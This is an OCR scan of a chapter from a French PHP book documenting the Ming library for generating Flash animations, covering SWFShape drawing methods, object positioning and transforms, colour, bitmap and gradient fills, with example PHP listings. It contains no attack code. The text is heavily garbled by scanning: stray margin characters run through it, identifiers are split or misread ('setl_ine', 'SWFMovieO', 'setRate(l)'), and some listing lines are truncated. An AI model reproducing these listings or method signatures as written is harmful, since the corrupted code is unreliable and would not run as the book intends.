Syntaxe int getDescent(void) 

retour Distance qui separe la ligne de base du bas de la lettre descendant le plus 

bas dans cette police. 



SWFFont->getLeading() 



Retourne la distance conseillee entre deux lignes de texte successives. 



Syntaxe 

retour 



PTrp" 



Facile 



int getLeading(void) 

Distance comprise entre la ligne de base de la premiere ligne et le haut de 
la plus haute lettre dans cette police de la seconde ligne (distance 
representee par un 1 dans le schema suivant). 



0) . 

=. r- 

3 CD 

3 1. 

5" 3 
= a> 

in <a 

CD 

Tl in 

o> cd 
in — 

CD° 

in 



Figure 13.32 : 

Les proprietes d'une police de caracteres 



L'objet forme "complexe" (Shape) 

Les formes complexes s'instancient par l'appel au constructeur swFShape ( ) , 



SWFShape 

Objet forme "complexe". 

Syntaxe SWFShape SWFShape () 
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Cet objet propose de nombreuses methodes permettant le trace de lignes ou de courbes, le 
remplissage de formes, etc. 

Lors du trace des objets, il est important de noter que les axes des coordonnees sont diriges de 
gauche a droite pour les x, et de haut en bas pour les y. 

Les methodes de trace sont : 



SWFShape->movePenTo () 

Deplace le pointeur de trace. 

Syntaxe void movePenTo(int $x, int $y) 

$x Nouvelle abscisse du pointeur de trace. 

$y Nouvelle ordonnee du pointeur de trace. 



— 

E .2 

CO 

S3 E 
i 

CO 



SWFShape->movePen() 



03 js Deplace le pointeur de trace relativement a sa position courante. 

GO LL 
CD ~ 

co = Syntaxe void movePen(int $dx, int $dy) 



to $dx Deplacement selon l'axe des x du pointeur de trace. La nouvelle abscisse 

cs 



absolue est alors $xPointeur+$dx. 



$dy Deplacement selon l'axe des y du pointeur de trace. La nouvelle ordonnee 

absolue est alors $yPointeur+$dy. 



SWFShape->drawLineTo () 

Trace une droite entre la position courante du pointeur et le point precise. Le pointeur est 
ensuite deplace aux coordonnees precisees. 

Syntaxe void drawLi neTo(i nt $x, int $y) 

$x Abscisse du point d'arrivee de la ligne tracee. 

$y Ordonnee du point d'arrivee de la ligne tracee. 
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SWFShape->drawLine() 

Trace une droite entre la position courante du pointeur et le point precise. Le pointeur est 
ensuite deplace aux coordonnees precisees. Les coordonnees du point d'arrivee sont ici 
relatives a la position du pointeur. 

Syntaxe void drawLine (int $dx, int $dy) 

$x Abscisse relative du point d'arrivee de la ligne tracee, soit l'abscisse 

absolue $xPointeur+$dx. 

$y Ordonnee relative du point d'arrivee de la ligne tracee, soit l'ordonnee 

absolue $yPointeur+$dy. 



SWFShape->drawCurveTo () 



Trace une courbe de Bezier quadratique, issue de la position du pointeur et aboutissant aux 
dernieres coordonnees donnees en prenant appui sur le point indique par les premieres 
coordonnees. Le pointeur prend ensuite la position du point d'arrivee. 



Syntaxe 


void drawCurveTo(int $xl, int $yl, int $x2, int $y2) 


$xl 


Abscisse du point d'appui de la courbe de Bezier. 


$yi 


Ordonnee du point d'appui de la courbe de Bezier. 


$x2 


Abscisse du point d'arrivee de la courbe de Bezier et future abscisse du 




pointeur. 


$y2 


Ordonnee du point d'arrivee de la courbe de Bezier et future ordonnee du 



pointeur. 



SWFShape->drawCurve () 

Trace une courbe de Bezier quadratique, issue de la position du pointeur et aboutissant aux 
dernieres coordonnees donnees en prenant appui sur le point indique par les premieres 
coordonnees. Le pointeur prend ensuite la position du point d'arrivee. Dans ce cas, les 
coordonnees sont relatives. 



Syntaxe 


void drawCurve(i nt $dxl, int $dyl, int $dx2, int $dy2) 


$dxl 


Abscisse relative au pointeur du point d'appui de la courbe de Bezier, soit 




l'abscisse absolue $xPointeur+$dxl. 


$dyl 


Ordonnee relative au pointeur du point d'appui de la courbe de Bezier, 




soit l'ordonnee absolue $yPointeur+$dyl. 


$dx2 


Abscisse relative au point d'appui du point d'arrivee de la courbe de Bezier 




et future abscisse du pointeur, soit l'abscisse absolue 




$xPointeur+$dxl+$dx2. 
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$dy2 Ordonnee relative au point d'appui du point d'arrivee de la courbe de 

Bezier et future ordonnee du pointeur, soit l'ordonnee absolue 

$yPointeur+$dyl+$dy2. 

Figure 13.33 : 

Exemple de courbe de Bezier 
quadratique 



SWFShape->drawCubicTo () 

Trace une courbe de Bezier cubique, issue de la position du pointeur et aboutissant aux 
dernieres coordonnees donnees en prenant appui sur les deux points indiques par les premieres 
coordonnees. Le pointeur prend ensuite la position du point d'arrivee. 



Syntaxe void drawCubicTo(int $xl, int $yl, int $x2, int $y2, int $x3, 
int $y3) 

$xl Abscisse du l er point d'appui de la courbe de Bezier. 

$y 1 Ordonnee du l er point d'appui de la courbe de Bezier. 

$x2 Abscisse du 2 nd point d'appui de la courbe de Bezier. 

CO 

2£ ^ $y2 Ordonnee du 2 point d'appui de la courbe de Bezier. 

w |2 $x3 Abscisse du point d'arrivee de la courbe de Bezier et future abscisse du 

S) co pointeur. 
ro = 

E s $y3 Ordonnee du point d'arrivee de la courbe de Bezier et future ordonnee du 

g E pointeur. 
'E 



SWFShape->drawCubic() 

Trace une courbe de Bezier cubique, issue de la position du pointeur et aboutissant aux 
dernieres coordonnees donnees en prenant appui sur les deux points indiques par les premieres 
coordonnees. Le pointeur prend ensuite la position du point d'arrivee. Dans ce cas, les 
coordonnees sont relatives. 

Syntaxe void drawCubic(int $dxl, int $dyl, int $dx2, int $dy2, int 

$dx3, int $dy3) 

$dxl Abscisse relative au pointeur du l er point d'appui de la courbe de Bezier, 

soit l'abscisse absolue $xPointeur+$dxl. 

$dy 1 Ordonnee relative au pointeur du l er point d'appui de la courbe de Bezier, 

soit l'ordonnee absolue $yPointeur+$dyl. 

$dx2 Abscisse relative au l er point d'appui du 2 nd point d'appui de la courbe de 

Bezier, soit l'abscisse absolue $xPointeur+$dxl + $dx2. 

$dy2 Ordonnee relative au l er point d'appui du 2 nd point d'arrivee de la courbe 

de Bezier, soit l'ordonnee absolue $yPointeur+$dyl + $dy2. 
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$dx3 Abscisse relative aii 2 nd point d'appui du point d'arrivee de la courbe de 

Bezier et future abscisse du pointeur, soit l'abscisse absolue 
$xPointeur+$dxl+$dx2+$dx3. 

$dy3 Ordonnee relative au 2 nd point d'appui du point d'arrivee de la courbe de 

Bezier et future ordonnee du pointeur, soit l'ordonnee absolue 

$yPointeur+$dyl+$dy2+$dy3. 

Figure 13.34 : 

Exemple de courbe de Bezier cubique 








drawCubicO et drawCurveO 

~ Pour obtenir des courbes de Bezier cubiques, il est egalement possible d'appeler les 
REMARQJE methodes drawCurveO et drawCurveTo ( ) avec les six memes parametres que 
ceuxde drawCubic ( ) et drawCubicTo ( ). 



SWFShape->drawGlyph() 



3 10 
o' 



Trace un caractere donne a la position du pointeur. =r. g 

Syntaxe void drawGlyph(SWFFont $police, char $caractere) ^, g> 

$police Police d'ecriture a utiliser. S> J2. 

CD 

$caractere Caractere a ecrire. Cette methode ne permet de tracer qu'un caractere a «" 

la fois. 



Parametres de trace 

Par defaut, pour toutes les methodes presentees precedemment, la largeur du trace est 
REMARQJE nulle. Vous ne verrez done rien tant que vous ne ferez pas appel a la methode 
setLine ( ) ou aux fonctions de remplissage setLeftFill ( ) et setRightFill ( ). 
Voir le chapitre dedie au trace et remplissage. 



Voici done un exemple de ce qui peut etre realise : 



Listing 13.30 : ming shapeOLphp 

<?php 

// L 1 animation ne presentera 

// qu'une image par seconde 

// pour laisser le temps 

// d'apprecier la succession des vues 
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$anim = new SWFMovieO; 
$anim->setDimension(100, 100); 
$anim->setBackground(0, 125, 255); 
$anim->setRate(l) ; 

// Creation des differents objets 
// qui seront utilises dans 
// 1 'animation 

// La premiere forme sera une simple ligne 
// partant du point (50, 95) 
// et remontant de 45 unites 
// Le trace sera vert et d'l unite de large. 
$formel = new SWFShape(); 
$formel->setLine(l, 0, 255, 0); 
$formel->movePenTo(50, 95); 
$formel->drawLine(0, -45); 

// La seconde forme sera un carre 
// de 20 unites de cote 
// avec un trace jaune d'l unite de large 
$forme2 = new SWFShape(); 
w $forme2->setLine(l, 255, 255, 0); 

.22 ^ $forme2->movePenTo(40, 50); 

u I $forme2->drawLine(0, -20); 

SS $forme2->drawLine(20, 0); 

$forme2->drawLine(0, 20); 
.1 $forme2->drawLine(-20, 0) ; 



a, u> 
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// La troisieme forme sera simplement 

// le caractere * 

// Mais pour eel a, nous devons 

// egalement creer un objet SWFFont 

// Ceci necessite done que vous ayez 

// un fichier Arial.fdb dans un sous-repertoire 

// ming_pol ices. 

// Si ce n'est pas le cas, modifier 
// le nom de la police ou le chemin 
// specifie pour le faire coincider 
// avec votre envi ronnement . 
// A defaut, mettez en commentaire 
// la creation de forme3 et son 
// ajout a 1 'animation. 
$forme3 = new SWFShape(); 

$font = new SWFFont("ming_polices/arial .fdb") ; 
$forme3->setLine(l, 255, 255, 255); 
$forme3->movePenTo(40, 70); 
$forme3->drawGlyph($font, "*"); 

// Puis une courbe 
$forme4 = new SWFShape(); 
$forme4->setLine(l, 0, 0, 0); 
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$forme4->movePenTo(50, 30); 
$forme4->drawCubic(0, -50, 60, 60, -50, 0); 

// et une autre 
$forme5 = new SWFShape(); 
$forme5->setl_ine(l, 0, 0, 0); 
$forme5->movePenTo(60, 40); 
$forme5->drawCubic(50, 0, -60, 60, 0, -50); 

// et une autre 
$forme6 = new SWFShape(); 
$forme6->setLine(l, 0, 0, 0); 
$forme6->movePenTo(50, 50); 
$forme6->drawCubic(0, 50, -60, -60, 50, 0); 

// et encore une autre 
$forme7 = new SWFShape(); 
$forme7->setLine(l, 0, 0, 0); 
$forme7->movePenTo(40, 40); 
$forme7->drawCubic(-50, 0, 60, -60, 0, 50); 

// Maintenant que "Ton a tout les objets 
// on passe a la creation de 1 'abimation 

CO 

t» ■ 

// Dans la vue 1 n'apparait que la forme 1 ~ cd 

$anim->add($formel) ; H 
$anim->nextFrame() ; o 3 

= 03 
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CD 

// Puis dans la vue 2 vient s'ajouter la forme 2 3! *» 

$anim->add($forme2) ; « — 

$anim->nextFrame() ; % 

II dans la vue 3 la forme 3 

$anim->add($forme3) ; 
$anim->nextFrame() ; 

// dans ma vue 4... tout le reste 
$anim->add($forme4) ; 
$anim->add($forme5) ; 
$anim->add($forme6) ; 
$anim->add($forme7) ; 

// ATTENTION: Meme s'il s'agit de la 
// derniere vue, ne pas oublier 
// 1'appel a nextFrame(); 
$anim->nextFrame() ; 

// II est temps de voir le resultat 
header ("Con tent -type: appl i cation/x-shockwave-fl ash") ; 
$anim->output() ; 

?> 
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Fonctions non disponibles 

A ce jour, il n 'est pas possible de tracer facilement des cercles ou arcs de cercles. Les 
fonctions drawArcO et drawcircle ( ) prevues a cet effet ne sont pas encore 
fonctionnelles. 

Positionnement et modification des objets 

Comme cela a ete evoque precedemment, lorsque Ton appelle la methode add ( ) de l'objet 
SWFMovie pour ajouter un objet de type swFButton, swFShape, swFSprite ou swFText, un 
objet SWF Display Item est retourne. 

Cet objet permet, grace aux methodes suivantes, de : 

Donner un nom aux objets : 



REMARQUE 



SWFDisplayItem->setName () 



Donne un nom a l'objet afin de pouvoir l'identifier dans les scripts d'action (que nous verrons 
plus loin). 

Syntaxe void setName (string $nom) 

$ n om Nom a donner a l'obj et. 
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g E Modifier la position des objets : 



SWFDisplayItem->setDepth () 



Deplace l'objet dans un couche differente (pour le mettre devant ou derriere un ou plusieurs 
autres objets). 

Syntaxe void setDepth (i nt $couche) 

$couche Couche dans laquelle doit etre deplace l'objet. 



SWFDisplayItem->moveTo () 

Deplace l'origine de l'objet vers de nouvelles coordonnees. 

Syntaxe void moveTo(int $x, int $y) 

$x Nouvelle abscisse pour l'origine de l'objet. 

$y Nouvelle ordonnee pour l'origine de l'objet. 
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SWFDisplayItem->move () 

Deplace l'origine de 1'objet vers de nouvelles coordonnees relatives a sa position courante. 
Syntaxe void move(int $dx, int $dy) 

$dx Abscisse relative pour l'origine de 1'objet. Soit l'abscisse absolue 

$xCourant+$dx. 

$dy Ordonnee relative pour l'origine de 1'objet. Soit l'ordonnee absolue 

$ y C ou r an t + $ dy. 



SWFDisplayItem->rotateTo () 

Fait pivoter 1'objet par rapport a son angle d'origine. 

Syntaxe void rotateTo (double $angle) 

$angl e Angle de rotation exprime en degres. 



SWFDisplayItem->rotate () | | 

CO <a 

Fait pivoter 1'objet par rapport a son angle courant. 3 S? 

OS CD 

in — 

Syntaxe void rotate (double $dangle) ^ cd 

V) 

$angl e Angle de rotation relatif a Tangle courant, exprime en degres. 

D'alterer leur forme : 



SWFDisplayItem->scaleTo () 

Modifie la taille de 1'objet par rapport a sa taille d'origine. 

Syntaxe void seal eTo(doubl e $coefX, double $coefY) 

$coefX Coefficient multiplicateur a appliquer sur la largeur d'origine de 1'objet. 

$coef Y Coefficient multiplicateur a appliquer sur la hauteur d'origine de 1'objet. 
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SWFDisplayItem->scale () 

Modifie la taille de l'objet par rapport a sa taille courante. 
Syntaxe void seal e(doubl e $coefX, double $coefY) 

$coef X Coefficient multiplicateur a appliquer sur la largeur courante de l'objet. 

$coef Y Coefficient multiplicateur a appliquer sur la hauteur courante de l'objet. 



SWFDisplayItem->skewXTo () 

Deforme l'objet par une inclinaison de l'axe x selon une pente donnee par rapport a son 
inclinaison d'origine. 

Syntaxe void skewXTo (double $pente) 

$pente Coefficient de pente, ou encore tangente de Tangle d'inclinaison. 
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E ~ Deforme l'objet par une inclinaison de l'axe x selon une pente donnee par rapport a son 

inclinaison courante. 
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SWFDisplayItem->skewX() 



co ro Syntaxe void skewX (double $pente) 

$pente Coefficient de pente, ou encore tangente de Tangle d'inclinaison. 



SWFDisplayItem->skewYTo () 

Deforme l'objet par une inclinaison de l'axe y selon une pente donnee par rapport a son 
inclinaison d'origine. 

Syntaxe void skewYTo (double $pente) 

$pente Coefficient de pente, ou encore tangente de Tangle d'inclinaison. 



SWFDisplayItem->skewY() 

Deforme l'objet par une inclinaison de l'axe y selon une pente donnee par rapport a son 
inclinaison courante. 
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Syntaxe void skewY (double $pente) 

$pente Coefficient de pente, ou encore tangente de Tangle d'inclinaison. 

ou leur couleur : 



SWFDisplayItem->addColor () 



Ajoute (ou soustrait selon les signes) aux composantes de la couleur d'origine les composantes 
de la couleur donnee. Les valeurs obtenues seront evidemment bornees sur l'intervalle [0, 255]. 

Syntaxe void addCol or(i nt $rouge, int $vert, int $bleu, [int $alpha]) 

$rouge Composante rouge (comprise entre -255 et 255) a ajouter a la couleur 

d'origine. 

$vert Composante verte (comprise entre -255 et 255) a ajouter a la couleur 

d'origine. 

$bleu Composante bleue (comprise entre -255 et 255) a ajouter a la couleur 

d'origine. 

$al pha Composante Alpha ou transparence (comprise entre -255 et 255) a ajouter 

a la couleur d'origine. Rappel : plus Alpha est proche de 0, plus l'objet est 
transparent ; plus il est proche de 255, plus l'objet est opaque. 



SWFDisplayItem->multColor () 
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Multiplie les composantes de la couleur d'origine. Les valeurs obtenues seront evidemment *" 
bornees sur l'intervalle [0, 255]. 

Syntaxe void mul tCol or (doubl e $coefRouge, double $coefVert, double 

$coefBleu, [doubl e $coefAl pha] ) 

$coef Rouge Coefficient multiplicateur pour la composante rouge (> = 0). 

$coef Vert Coefficient multiplicateur pour la composante verte (> = 0). 

$coef Bl eu Coefficient multiplicateur pour la composante bleue (> = 0). 

$alpha Coefficient multiplicateur pour la composante Alpha ou transparence 

(> = 0). Rappel : plus Alpha est proche de 0, plus l'objet est transparent ; 
plus il est proche de 255, plus l'objet est opaque. 



REMARQUE 



Axe de rotation 

Les rotations s 'effectuant par rapport a I 'axe qui a servi d 'origine lors de la creation de 
l'objet, il est fortement conseille de faire coincider cet axe avec le centre de l'objet. 
L 'erreur classique consiste a creer l'objet autour du point dans lequel il se trouve dans 
la premiere vue. 
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Figure 13.35 : 

Exemple d'un objet cree avec le centre a 
Vorigine 



□ 



Figure 13.36 : 

puis ayant subi une translation 
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Figure 13.37 : 

suivie d'une rotation de 45 °. 



□ 



Figure 13.38 : 

Exemple d'un objet cree a son 
emplacement dans la premiere vue 
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Figure 13.39 : 

puis ayant subit une rotation de 45 °. 



Suppression d'un objet 



En revanche, pour supprimer un objet, on fera appel a la methode remove ( ) de 1'objet 
SWFMovie. 



SWFMovie->remove () 



Supprime un objet de la vue. 

Syntaxe void remove(SWFDi spl ayltem $objetSWFDi spl ayltem) 

$objetSWFDi spl ayltdnfobjet SWFDisplayltem qui avait ete retourne par la methode add( ) 
lorsque 1'objet avait ete ajoute a une precedente vue. 

Dans l'exemple suivant, nous avons deux objets identiques, dont l'un est supprime dans la 
seconde vue. 



Listing 13.31 : ming remove.ptip 

<?php 

$dessinForme = new SWFShape(); 

$dessinForme->setLine(l, 0, 0, 0); 
$dessinForme->movePenTo(-10, -10) ; 
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$dessinForme->drawLine(20, 0); 
$dessinForme->drawLine(0, 20); 
$dessinForme->drawLine(-20, 0); 
$dessinForme->drawLine(0, -20); 

$anim = new SWFMovie(); 
$anim->setDimension(100, 100); 
$anim->setBackground(255, 255, 255); 
$anim->setRate(l) ; 

$formel = $anim->add($dessinForme) ; 
$formel->moveTo(30, 30); 

$forme2 = $anim->add($dessinForme) ; 
$forme2->moveTo(20, 60); 



$anim->nextFrame() ; 

$anim->remove($forme2) ; 
$anim->nextFrame() ; 



header ("Con tent -type: appl i cation/x-shockwave-fl ash") 
$anim->output() ; 

?> 
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Trace et remplissage des formes S <| 

~n co 

Les objets SWFShape possedent des methodes permettant de fixer les parametres de leur trace S 2. 

(epaisseur du trait, couleur) ainsi que les parametres de remplissage. cd 



SWFShape->setLine() 

Precise la largeur et la couleur du trace de la forme. 

Syntaxe void setLine(int $largeur, [int $rouge, int $vert, int $bleu], 

[i nt $al pha] ) 

$largeur Largeur du trace. 

$rouge Composante rouge de la couleur du trace (peut etre omise en meme temps 

que $vert, $bleu et $alpha notamment si $ largeur = 0). Valeur 
comprise entre et 255. 

$ vert Composante verte de la couleur du trace (peut etre omise en meme temps 

que $rouge, $bleu et $alpha notamment si $largeur = 0). Valeur 
comprise entre et 255. 

$bl eu Composante bleue de la couleur du trace (peut etre omise en meme temps 

que $rouge, $vert et $alpha notamment si $ largeur = 0). 
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$alpha Composante Alpha (transparence) de la couleur du trace. Valeur 

comprise entre (couleur totalement transparente) et 255 (couleur 
totalement opaque). Ce parametre est optionnel. 



SWFShape->setLeftFill() 



Precise le motif de remplissage de l'interieur de la forme lorsque celle ci est dessinee dans le 
sens inverse des aiguilles d'une montre (quand l'interieur se situe a gauche du trace). 

Syntaxe void setLeftFi 1 1 (SWFFi 1 1 $objetSWFFi 1 1 ) 

$obj etSWFFi 1 1 Objet SWFFill precisant le motif de remplissage (voir ci-apres). 



SWFShape->setRightFill() 



Precise le motif de remplissage de l'interieur de la forme lorsque celle ci est dessinee dans le 
sens des aiguilles d'une montre (quand l'interieur se situe a droite du trace). 

Syntaxe void setRightFi 1 1 (SWFFi 1 1 $objetSWFFi 1 1 ) 

g E $obj etSWFFi 1 1 Objet SWFFill precisant le motif de remplissage (voir ci-apres). 

S3) J2 
CO = 

E -2 

CO 

E Difference entre setLeftFill() et setRightFill() 

Nous ne sommes pas parvenus a mettre en evidence la difference de comportement 
entre setLeftFill ( ) et setRightFill ( ). Sur les exemples testes, Vun et Vautre 
peuvent s'appliquer indifferemment. 



REMARQUE 



Comme vous pouvez le constater, les methodes de remplissage s'appuient sur des objets que 
nous n'avons pas encore vus jusque-la. Les objets SWFFill ne sont pas censes etre instancies 
directement. lis sont en fait retournes par la methode addFill ( ) de l'objet SWFShape. Cette 
methode accepte trois interfaces distinctes. 



SWFShape->addFill() remplissage "solide" 



Dans la syntaxe decrite ici, associe a la forme une methode de remplissage basee tout 
simplement sur une couleur et retourne l'objet SWFFill correspondant. 

Syntaxe SWFFill addFill (int $rouge, int $vert, int $bleu, [int $alpha]) 

$rouge Composante rouge de remplissage de la forme. Valeur comprise entre 

et 255. 
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$vert Composante verte de remplissage de la forme. Valeur comprise entre 

et 255. 

$bl eu Composante bleue de remplissage de la forme. Valeur comprise entre 

et 255. 

$alpha Composante Alpha (transparence) de la couleur du trace. Valeur 

comprise entre (couleur totalement transparente) et 255 (couleur 
totalement opaque). Ce parametre est optionnel. 



SWFShape->addFill() remplissage par une image 

Associe a la forme une methode de remplissage basee sur un objet "image" (SWFBitmap). 

Syntaxe SWFFill addFi 1 1 (SWFBi tmap $objetSWFBi tmap, [int$mode]) 

$ob j etSWFBi tmap Objet "image" utilise comme motif de remplissage (voir ci-apres). 

$mode Mode de remplissage. Cet argument optionnel peut prendre l'une des 

deux valeurs definies par des constantes. 

SWFFILL_TILED_BITMAP (valeur par defaut) si vous souhaitez que le 
motif se repete "a l'infini". 

SWFFILL_CLIPPED_BITMAP si vous souhaitez quele motif n'apparaisse 
qu'une seule fois. Dans ce cas, avant d'eventuelles transformations par 
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l'image coincide avec l'origine (0,0). 

SWFshape->addFill() remplissage par un degrade 

Associe a la forme une methode de remplissage basee sur un objet "degrade" {SWF Gradient). 

Syntaxe SWFFill addFi 1 1 (SWFGradi ent $objetSWFGradient, [int$mode]) 

$ob j etSWFGradi ent Objet "degrade" utilise comme motif de remplissage (voir ci-apres). 

$mode Mode de remplissage. Cet argument optionnel peut prendre l'une des 

deux valeurs definies par des constantes. 

SWFFILL_LINEAR_GRADIENT (valeur par defaut) si vous souhaitez que 
le degrade soit lineaire (selon l'axe des abscisses x, avant d'eventuelles 
transformations par appel aux methodes proposees par SWFFill). 
SWFFILL_RADIAL_GRADIENT si vous souhaitez que le degrade soit 
radial (par cercles concentriques centres sur l'origine [0,0], avant 
d'eventuelles transformations par appel aux methodes proposees pas 
SWFFill). 
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Listing 13.32 : ming_fill01.php 

<?php 

// Creation d'une forme quelconque fermee. 
$dessinForme = new SWFShape(); 

// Pour mieux apprecie les limites, nous tragons le 
// contour en noir. 

$dessinForme->setLine(l, 0, 0, 0); 

// Et nous rempl i ssons la forme avec la couleur rouge 

$fill = $dessinForme->addFill (255, 0, 0); 

$dessinForme->setl_eftFi 11 ($f i 1 1 ) ; 



$dess 
$dess 
$dess 
$dess 



nForme->movePenTo(-50, -40); 
nForme->drawCurveTo(0, -60, 60, -20); 
nForme->drawCurveTo(10, 5, 60, 40); 
nForme->drawCurveTo(0, 60, -30, 30); 



$dessinForme->drawCurveTo(-20, 0, -50, -40); 
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cd ^ $anim = new SWFMovie(); 

ca = $anim->setDimension(300, 100) ; 

.— "■•= $anim->setBackground(255, 255, 255); 

as E $anim->setRate(l) ; 

— J "c 

■i- $formePleine=$anim->add($dessinForme) ; 

$formePleine->moveTo(60, 50); 
$anim->nextFrame() ; 

header ("Con tent- type: appl i cat ion/x- shoe kwave-fl ash") ; 
$anim->output() ; 



Nous voila maintenant avec deux nouveaux objets restes jusque-la inconnus. II s'agit des objets 
SWFBitmap et SWFGradient. 

Le premier s'instancie par un appel au constructeur : 



SWFBitmap 

Objet image utilise comme motif de remplissage. 

Syntaxe SWFBitmap SWFBitmap (string $fichier, [string 

$f i chi erMasqueAl pha] ) 
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$f i chi er Nom du fichier image a charger. Ce fichier doit etre au format JPEG non 

progressif ou DBL (Define Dit Lossless). Les fichiers DBL peuvent etre 
crees a partir de fichiers GIF ou PNG grace aux utilitaires gif2dbl et 
png2dbl fournis avec la bibliotheque Ming. 

$f i chi erMasqueAl pha Ce parametre optionnel indique un nom de fichier .rusk. Ce fichier servira 
de composante Alpha (transparence) pour l'image JPEG. Les fichiers 
.msk peuvent etre crees a partir de fichiers GIF grace a 1'utilitaire gif2msk 
fourni avec la bibliotheque Ming. 



A 



ATTENTION 



Regression ? 

Depuis la version 4.2.0 et jusqu'a 4.2.2 (minimum), Vobjet SWFBitmap ne semble 
plus reconnaitre aucun format d'image. 



REMARQUE 



Generation et utilisation des commandes gif2dbl, png2dbl et gif2msk 

Les commandes gif2dbl, png2dbl et gif2msk ne sont pas compilees en meme 
temps que la bibliotheque Ming. Ilfaut done, sous Linux, aller dans le sous repertoire 
"util" et taper les instructions : 

# make gif2dbl 

# make png2dbl 

# make gif2msk 

pour les generer toutes les trois. De plus, ces fichiers sources necessitent quelques 
bibliotheques. (Par exemple, les commandes gif 2 necessitent le fichier gif Jib. h que 
vous pourrez trouver dans le rpm libungif-devel. Pour cela, consultez votre 
distribution Linux). 

L'utilisation de ces commandes est tres simple (elles acceptent toutes le parametre 
"-help"): 

Pour creer un fichier .dbl dans le meme repertoire que le fichier .gif il suffit de taper : 

> g i f 2dbl fichier.gif 

Pour creer un fichier . dbl dans le meme repertoire que le fichier .png, il suffit de taper : 

> png2dbl fichier. png 

Pour creer un fichier. msk dans le meme repertoire que le fichier .gif il suffit de taper : 

> gif2msk fichier.gif 
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Les methodes de cet objet : 



SWFBitmap->getWidth() 

Retourne la largeur, en pixels, de l'image. 
Syntaxe int getWidth(void) 
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SWFBitmap->getHeight() 

Retourne la hauteur, en pixels, de l'image. 
Syntaxe int getWidth(void) 

Voici un exemple de script de remplissage d'une forme par une image repetee a l'mfini. 

Listing 13.33 : ming_fill02.php 

<?php 

// Creation d'une forme quelconque 
// fermee. 

$dessinForme = new SWFShape(); 

// Pour mieux apprecier le trace 
// nous tragons le contour en noir 

$dessinForme->setLine(l, 0, 0, 0); 



// et nous souhaitons egalement 

cu j§ // avoir une forme pleine 

S2 u - // basee sur un remplissage par 

Ol OT i i ■ 

ra = // une image 

— CO 

§3 E // Done, dans un premier temps 



// nous creons un objet SWFBitmap 

// en precisant un fichier image 

$bitmap = new SWFBitmap("images/rempl issage.jpg") ; 

// Objet bitmap que nous pouvons alors 
// "declarer" comme forme de remplissage 
// pour notre forme. 

// Par defaut l'image sera repetee a l'infini 
// Ce qui permet de recuperer un objet 
// SWFFill... 

$fill = $dessi nForme->addFi 1 1 ($bi tmap) ; 

// ... qui va nous servir a remplir 
// la forme. 

$dessinForme->setLeftFi 11 ($f i 1 1 ) ; 



// Maintenant que l'on a precise 
// comme sera rempli la forme 
// on peut la tracer. 
$dessinForme->movePenTo(-50, -40) ; 
$dessinForme->drawCurveTo(0, -60, 60, -20); 
$dessinForme->drawCurveTo(10, 5, 60, 40); 
$dessinForme->drawCurveTo(0, 60, -30, 30); 
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$dessinForme->drawCurveTo(-20, 0, -50, -40); 

$anim = new SWFMovie(); 
$anim->setDimension(300, 100); 
$anim->setBackground(255, 255, 255); 
$anim->setRate(l) ; 

// II ne s'agit pas a proprement parler 

// d'une animation puisqu'il n'y qu'une seule 

// vue mais peu importe. 

$formePl eine=$anim->add($dessinForme) ; 

// La forme ayant ete dessinee autour 
// de 1'origine (0,0) il faut la 
// re-centrer dans 1' image 
$formePleine->moveTo(60, 50); 

$anim->nextFrame() ; 

header ("Con tent-type: appl i cation/x-shockwave-fl ash") ; 
$anim->output() ; 

?> 

Ce qui donne le resultat suivant : 



Un autre exemple, ou cette fois 1'image n'est pas repetee a l'infini. 
Listing 13.34 : ming f iII03.php 



// Cet exemple reprend 1 'exemple precedent. 
//Ala seule difference que le mode de 
// remplissage est fixe a SWFFI LL_CLI PPED_BITMAP 
// L'image n'est done pas reproduite a l'infini 

$dessinForme = new SWFShape(); 

$dessinForme->setLine(l, 0, 0, 0); 

$bitmap = new SWFBitmap("images/remplissage.jpg") ; 

// Voila, e'est juste la ou ca differe. 

$fill = $dessinForme->addFill ($bitmap, SWFFI LL_CLIPPED_BITMAP) ; 
$dessinForme->setLeftFill ($fill) ; 





<?php 



1115 



Chapitre 1 3 Les images et les animations Flash 



$dessinForme->movePenTo(-50, -40) ; 
$dessinForme->drawCurveTo(0, -60, 60, -20); 
$dessinForme->drawCurveTo(10, 5, 60, 40); 
$dessinForme->drawCurveTo(0, 60, -30, 30); 
$dessinForme->drawCurveTo(-20, 0, -50, -40); 

$anim = new SWFMovieO; 
$anim->setDimension(300, 100); 
$anim->setBackground(255, 255, 255); 
$anim->setRate(l) ; 

$formePl ei ne=$anim->add ($dessi n Forme) ; 
$formePleine->moveTo(60, 50); 
$anim->nextFrame() ; 

header ("Con tent- type: appl i cat ion/x- shoe kwave-fl ash") ; 
$anim->output() ; 

?> 
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Ce qui donne le resultat suivant (le coin superieur gauche de l'image coincide avec 1'origine 
[0,0] de l'objet) : 

Figure 13.41 : 

Remplissage par une image non repetee 




Quant au second, il s'instancie par un appel au constructeur : 



SWFGradient 

Objet "degrade" utilise comme motif de remplissage. 

Syntaxe SWFGradient SWFGradient (void) 

et propose l'unique methode : 



SWFGradient->addEntry() 

Permet de fixer les couleurs d'un degrade. 

Cette fonction doit etre appelee autant de fois que necessaire pour ajouter les couleurs voulues. 
Les appels successifs doivent se faire dans l'ordre croissant de $coef . 
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Syntaxe 

$coef 



$rouge 
$vert 
$bleu 
$al pha 



void addEntry (doubl e $coef, int $rouge, int $vert, int $bleu, 
[int $alpha]) 

Indique la position de la couleur dans le degrade. 

Pour un degrade lineaire, une valeur indique que le degrade doit 
commencer tout a gauche par cette couleur, une valeur de 1 indique que le 
degrade doit se terminer tout a droite par cette couleur. Une valeur 
intermediate de . 3 (par exemple) indique que le degrade doit passer par 
cette couleur a son premier tiers (celui du cote gauche). Et evidemment 
. 5 indique le milieu. 

Pour un degrade radial, une valeur indique que le centre du degrade doit 

avoir cette couleur, une valeur de 1 indique que le cercle de plus grand 

rayon doit avoir cette couleur. Et enfin, toutes les valeurs intermediaires 

indiquent des positions intermediaires pour la couleur. 

Les degrades s'etalent approximativement entre les coordonnees x [-800, 

800] (pour les degrades lineaires) ou les rayons [0, 800] (pour les degrades 

radiaux). 

Precise la composante rouge de la couleur. Valeur comprise entre et 255. 

Precise la composante verte de la couleur. Valeur comprise entre et 255. 

Precise la composante bleue de la couleur. Valeur comprise entre et 255. 

Parametre optionnel, precise la composante Alpha (transparence) de la 
couleur. Valeur comprise entre (totalement transparent) et 255 
(totalement opaque). 



Figure 1 3.42 : Exemples de degrades lineaires ( avec deux puis trois couleurs) 





Figure 1 3.43 : Exemples de degrades radiaux ( avec deux puis trois couleurs ) 

Listing 13.35 : ming_gradient02.php 

<?php 

// Creation d'un carre tout simple 
